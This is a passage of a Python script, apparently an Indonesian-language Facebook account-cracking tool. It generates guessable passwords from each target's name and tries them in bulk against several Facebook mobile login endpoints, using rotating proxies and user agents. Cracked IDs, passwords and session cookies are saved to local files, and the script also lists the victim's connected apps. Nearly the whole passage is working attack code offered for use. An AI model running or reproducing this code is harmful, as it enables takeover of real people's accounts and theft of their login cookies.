  766.     if set_cok in ['Y','y']:
  767.         method.append('cokiees')
  768.     else:
  769.         setpw()
  770. def setpw():
  771.     pwzku()
  772. def pwzku():
  773.         with tred(max_workers=30) as pool:
  774.             for yuzong in id2:
  775.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  776.                 frs = nmf.split(' ')[0]
  777.                 pwv = []
  778.                 if len(nmf)<6:
  779.                     if len(frs)<3:
  780.                         pass
  781.                     else:
  782.                         pwv.append(nmf)
  783.                         pwv.append(frs+'123')
  784.                         pwv.append(frs+'12345')
  785.                 else:
  786.                     if len(frs)<3:
  787.                         pwv.append(nmf)
  788.                     else:
  789.                         pwv.append(nmf)
  790.                         pwv.append(frs+'123')
  791.                         pwv.append(frs+'12345')
  792.                 if 'ya' in pwpluss:
  793.                     for xpwd in pwnya:
  794.                         pwv.append(xpwd)
  795.                 else:pass
  796.                 if 'mobile' in method:
  797.                     pool.submit(crack,idf,pwv)
  798.                 elif 'free' in method:
  799.                     pool.submit(crackfree,idf,pwv)
  800.                 elif 'mbasic' in method:
  801.                     pool.submit(crackmbasic,idf,pwv)
  802.                 elif 'asyn' in method:
  803.                     pool.submit(asyn,idf,pwv)
  804.                 elif 'cokiees' in method:
  805.                     pool.submit(cok_kie,idf,pwv)
  806.                 else:
  807.                     pool.submit(crack,idf,pwv)
  808.         print('')
  809.         print(f'{P}[{H}√{P}] JUMBLAH LIVE :{ok} ')
  810.         print(f'{P}[{M}×{P}] JUMBLAH CHECK :{cp}')
  811.         print('')
  812. def passu():
  813.     global prog,des
  814.     print('')
  815.     print(f'{P}[{H}•{P}] RESULT : {h}OK/%s {x}'%(okc))
  816.     print(f'{P}[{M}•{P}] RESULT : {k}CP/%s {x}'%(cpc))
  817.     print('')
  818.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  819.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  820.     des = prog.add_task('',total=len(id))
  821.     with prog:
  822.         with tred(max_workers=30) as pool:
  823.             for yuzong in id2:
  824.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  825.                 frs = nmf.split(' ')[0]
  826.                 pwv = []
  827.                 if len(nmf)<6:
  828.                     if len(frs)<3:
  829.                         pass
  830.                     else:
  831.                         pwv.append(nmf)
  832.                         pwv.append(frs+'123')
  833.                         pwv.append(frs+'1234')
  834.                         pwv.append(frs+'12345')
  835.                 else:
  836.                     if len(frs)<3:
  837.                         pwv.append(nmf)
  838.                     else:
  839.                         pwv.append(nmf)
  840.                         pwv.append(frs+'123')
  841.                         pwv.append(frs+'1234')
  842.                         pwv.append(frs+'12345')
  843.                 if 'ya' in pwpluss:
  844.                     for xpwd in pwnya:
  845.                         pwv.append(xpwd)
  846.                 else:pass
  847.                 if 'mobile' in method:
  848.                     pool.submit(crack,idf,pwv)
  849.                 elif 'free' in method:
  850.                     pool.submit(crackfree,idf,pwv)
  851.                 elif 'mbasic' in method:
  852.                     pool.submit(crackmbasic,idf,pwv)
  853.                 else:
  854.                     pool.submit(crack,idf,pwv)
  855.         print('')
  856.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  857.         print('')
  858. def sulap():
  859.     global prog,des
  860.     print('')
  861.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  862.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  863.     print(f'{B}• {P}crack mengunakan password manual')
  864.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  865.     des = prog.add_task('',total=len(id))
  866.     with prog:
  867.         with tred(max_workers=30) as pool:
  868.             for yuzong in id2:
  869.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  870.                 frs = nmf.split(' ')[0]
  871.                 pwv = []
  872.                 if len(nmf)<6:
  873.                     if len(frs)<3:
  874.                         pass
  875.                     else:
  876.                         pwv.append(nmf)
  877.                         pwv.append(frs+'123')
  878.                         pwv.append(frs+'12345')
  879.                         pwv.append(frs+'123456')
  880.                 else:
  881.                     if len(frs)<3:
  882.                         pwv.append(nmf)
  883.                     else:
  884.                         pwv.append(nmf)
  885.                         pwv.append(frs+'123')
  886.                         pwv.append(frs+'12345')
  887.                         pwv.append(frs+'123456')
  888.                 if 'ya' in pwpluss:
  889.                     for xpwd in pwnya:
  890.                         pwv.append(xpwd)
  891.                 else:pass
  892.                 if 'mobile' in method:
  893.                     pool.submit(crack,idf,pwv)
  894.                 elif 'free' in method:
  895.                     pool.submit(crackfree,idf,pwv)
  896.                 elif 'mbasic' in method:
  897.                     pool.submit(crackmbasic,idf,pwv)
  898.                 else:
  899.                     pool.submit(crack,idf,pwv)
  900.         print('')
  901.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  902.         print('')
  903.        
  904. def babi():
  905.     global prog,des
  906.     print('')
  907.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  908.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  909. #   print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  910.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  911.     des = prog.add_task('',total=len(id))
  912.     with prog:
  913.         with tred(max_workers=30) as pool:
  914.             for yuzong in id2:
  915.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  916.                 frs = nmf.split(' ')[0]
  917.                 pwv = []
  918.                 if len(nmf)<6:
  919.                     if len(frs)<3:
  920.                         pass
  921.                     else:
  922.                         pwv.append(nmf)
  923.                         pwv.append(frs+'321')
  924.                         pwv.append(frs+'123')
  925.                         pwv.append(frs+'12345')
  926.                 else:
  927.                     if len(frs)<3:
  928.                         pwv.append(nmf)
  929.                     else:
  930.                         pwv.append(nmf)
  931.                         pwv.append(frs+'321')
  932.                         pwv.append(frs+'123')
  933.                         pwv.append(frs+'12345')
  934.                 if 'ya' in pwpluss:
  935.                     for xpwd in pwnya:
  936.                         pwv.append(xpwd)
  937.                 else:pass
  938.                 if 'mobile' in method:
  939.                     pool.submit(crack,idf,pwv)
  940.                 elif 'free' in method:
  941.                     pool.submit(crackfree,idf,pwv)
  942.                 elif 'mbasic' in method:
  943.                     pool.submit(crackmbasic,idf,pwv)
  944.                 else:
  945.                     pool.submit(crack,idf,pwv)
  946.         print('')
  947.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  948.         print('')
  949. #--------------------[ METODE-B-API ]-----------------#
  950. def crack(idf,pwv):
  951.     global loop,ok,cp
  952.     bo = random.choice([H])
  953.     sys.stdout.write(f"\r{P}[{M}{loop}{P}]—{P}[{H}{len(id)}{P}] {P}[{H}{ok}{P}] {P}[{K}{cp}{P}]"),
  954.     sys.stdout.flush()
  955.     ua = random.choice(ugen)
  956.     ua2 = random.choice(ugen2)
  957.     ses = requests.Session()
  958.     for pw in pwv:
  959.         try:
  960.             nip=random.choice(prox)
  961.             proxs= {'http': 'socks4://'+nip}
  962.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  963.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  964.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  965.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  966.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  967.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  968.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  969.             if "checkpoint" in po.cookies.get_dict().keys():
  970.                 print(f'\n{P}')
  971.                 sokgg=f'\rNOMOR : {idf}\nSANDI : {pw}\nAGENT : {ua}'
  972.                 soklu = nel(sokgg, style='yellow')
  973.                 cetak(nel(soklu,style='',title='[yellow]AKUN CHECKPOINT'))
  974.             #   print(f'\n{P} nomor : {K}{idf}')
  975.         #       print(f'{P} sandi : {K}{pw}')
  976.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  977.                 akun.append(idf+'|'+pw)
  978.                 cp+=1
  979.                 break
  980.             elif "c_user" in ses.cookies.get_dict().keys():
  981.                 ok+=1
  982.                 coki=po.cookies.get_dict()
  983.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  984.                 print(f'{P}')
  985.                 print('\n')
  986.                 sokgg=f'\rNOMOR : {idf}\nSANDI : {pw}\nCOKIE : {kuki}'
  987.                 soklu = nel(sokgg, style='green')
  988.                 cetak(nel(soklu,style='',title='[green]AKUN SUCEES'))
  989.         #       print(f'\n{P} nomor : {H}{idf}')
  990.             #   print(f'{P} sandi : {H}{pw}')
  991.             #   print(f'{P} cookie: {H}{kuki}')
  992.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  993.                 cek_apk(session,coki)
  994.                 break
  995.                
  996.             else:
  997.                 continue
  998.         except requests.exceptions.ConnectionError:
  999.             time.sleep(31)
  1000.     loop+=1
  1001. #------------------[ METHODE-MBASIC-2 ]-------------------#
  1002. def crackfree(idf,pwv):
  1003.     global loop,ok,cp
  1004.     sys.stdout.write(f"\r{H}[{H}{loop}{H}]{H}{len(id)}{h}]—{ah}[{H}{ok}{H}]—{H}[{H}{cp}{H}]—[{H}{'{:.0%}'.format(loop/float(len(id)))}{H}]  "),
  1005.     sys.stdout.flush()
  1006.     ua = random.choice(ugen)
  1007.     ua2 = random.choice(ugen2)
  1008.     ses = requests.Session()
  1009.     for pw in pwv:
  1010.         try:
  1011.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1012.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1013.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1014.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1015.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1016.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1017.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1018.             if "checkpoint" in po.cookies.get_dict().keys():
  1019.                 luxdev=f'\rNOMOR : {idf}\nSANDI  : {pw}\nAGENT  : {ua}'
  1020.                 luxgg = nel(luxdev, style='yellow')
  1021.                 print('\n')
  1022.                 cetak(nel(luxgg,style='',title='LUXINE-CHECKPOINT'))
  1023.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1024.                 akun.append(idf+'|'+pw)
  1025.                 cp+=1
  1026.                 break
  1027.             elif "c_user" in ses.cookies.get_dict().keys():
  1028.                 ok+=1
  1029.                 coki=po.cookies.get_dict()
  1030.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1031.                 luxdev=f'\rNOMOR : {idf}\nSANDI  : {pw}\nCOKIE : {kuki}'
  1032.                 luxgg = nel(luxdev, style='green')
  1033.                 cetak(nel(luxgg,style='',title='LUXINE-SUCEES'))
  1034.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  1035.                 cek_apk(session,coki)
  1036.                 break
  1037.                
  1038.             else:
  1039.                 continue
  1040.         except requests.exceptions.ConnectionError:
  1041.             time.sleep(31)
  1042.     loop+=1
  1043.  
  1044. #---------------------[ METHODE-TOUCH-3 ]---------------------#
  1045. def cracktouch(idf,pwv):
  1046.     global loop,ok,cp
  1047.     bi = random.choice([u,k,kk,b,h,hh])
  1048.     pers = loop*100/len(id2)
  1049.     fff = '%'
  1050.     nip=random.choice(prox)
  1051.     proxs= {'http': 'socks5://'+nip}
  1052.     ua = random.choice(ugen)
  1053.     ua2 = random.choice(ugen2)
  1054.     ses = requests.Session()
  1055.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  1056.     for pw in pwv:
  1057.         try:
  1058.             ses.headers.update({'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1059.             p = ses.get('https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1060.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://touch.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1061.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1062.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1063.             heade={'Host': 'touch.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://touch.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://touch.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1064.             po = ses.post('https://touch.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1065.             if "checkpoint" in po.cookies.get_dict().keys():
  1066.                 if 'ya' in oprek:
  1067.                     akun.append(idf+'|'+pw)
  1068.                     ceker(idf,pw)
  1069.                 elif 'ya' in princp:
  1070.                     print('\n')
  1071.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  1072.                     statuscp1 = nel(statuscp, style='red')
  1073.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  1074.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1075.                     akun.append(idf+'|'+pw)
  1076.                     cp+=1
  1077.                 else:continue
  1078.                 break
  1079.             elif "c_user" in ses.cookies.get_dict().keys():
  1080.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  1081.                 if 'no' in taplikasi:
  1082.                     coki=po.cookies.get_dict()
  1083.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1084.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1085.                     print('\n')
  1086.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  1087.                     statusok1 = nel(statusok, style='green')
  1088.                     cetak(nel(statusok1, title='AOREC-XD OK'))
  1089.                     ok+=1
  1090.                     break
  1091.                 elif 'ya' in taplikasi:
  1092.                     coki=po.cookies.get_dict()
  1093.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1094.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1095.                     user=idf
  1096.                     infoakun = ""
  1097.                     session = requests.Session()
  1098.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  1099.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  1100.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  1101.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  1102.                     nok=1
  1103.                     for muncul in apkaktif:
  1104.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  1105.                         nok+=1
  1106.  
  1107.                     hit=0
  1108.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
  1109.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  1110.                     hit=0
  1111.                     for muncul in apkexp:
  1112.                         hit+=1
  1113.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  1114.                     print('\n')
  1115.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  1116.                     statusok1 = nel(statusok, style='green')
  1117.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  1118.                     ok+=1
  1119.                     break
  1120.  
  1121.  
  1122.             else:
  1123.                 continue
  1124.         except requests.exceptions.ConnectionError:
  1125.             time.sleep(31)
  1126.     loop+=1
  1127. #----------------------[ METHODE-MTOUCH+MOBILE-4 ]-----------------#
  1128. def crackmbasic(idf,pwv):
  1129.     global loop,ok,cp
  1130.     bi = random.choice([u,k,kk,b,h,hh])
  1131.     pers = loop*100/len(id2)
  1132.     fff = '%'
  1133.     nip=random.choice(prox)
  1134.     proxs= {'http': 'socks5://'+nip}
  1135.     ua = random.choice(ugen)
  1136.     ua2 = random.choice(ugen2)
  1137.     ses = requests.Session()
  1138.     sys.stdout.write('\r%s ☬ %s/%s ☬ OK:%s ☬ CP:%s ☬ %s%s%s ☬'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush()
  1139.     for pw in pwv:
  1140.         try:
  1141.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1142.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  1143.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,}
  1144.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1145.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1146.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1147.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1148.             if "checkpoint" in po.cookies.get_dict().keys():
  1149.                 if 'ya' in oprek:
  1150.                     akun.append(idf+'|'+pw)
  1151.                     ceker(idf,pw)
  1152.                 elif 'ya' in princp:
  1153.                     print('\n')
  1154.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  1155.                     statuscp1 = nel(statuscp, style='red')
  1156.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  1157.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1158.                     akun.append(idf+'|'+pw)
  1159.                     cp+=1
  1160.                 else:continue
  1161.                 break
  1162.             elif "c_user" in ses.cookies.get_dict().keys():
  1163.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  1164.                 if 'no' in taplikasi:
  1165.                     coki=po.cookies.get_dict()
  1166.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1167.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1168.                     print('\n')
  1169.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  1170.                     statusok1 = nel(statusok, style='green')
  1171.                     cetak(nel(statusok1, title='OK'))
  1172.                     ok+=1
  1173.                     break
  1174.                 elif 'ya' in taplikasi:
  1175.                     coki=po.cookies.get_dict()
  1176.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1177.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1178.                     user=idf
  1179.                     infoakun = ""
  1180.                     session = requests.Session()
  1181.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  1182.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  1183.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  1184.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  1185.                     nok=1
  1186.                     for muncul in apkaktif:
  1187.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  1188.                         nok+=1
  1189.  
  1190.                     hit=0
  1191.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
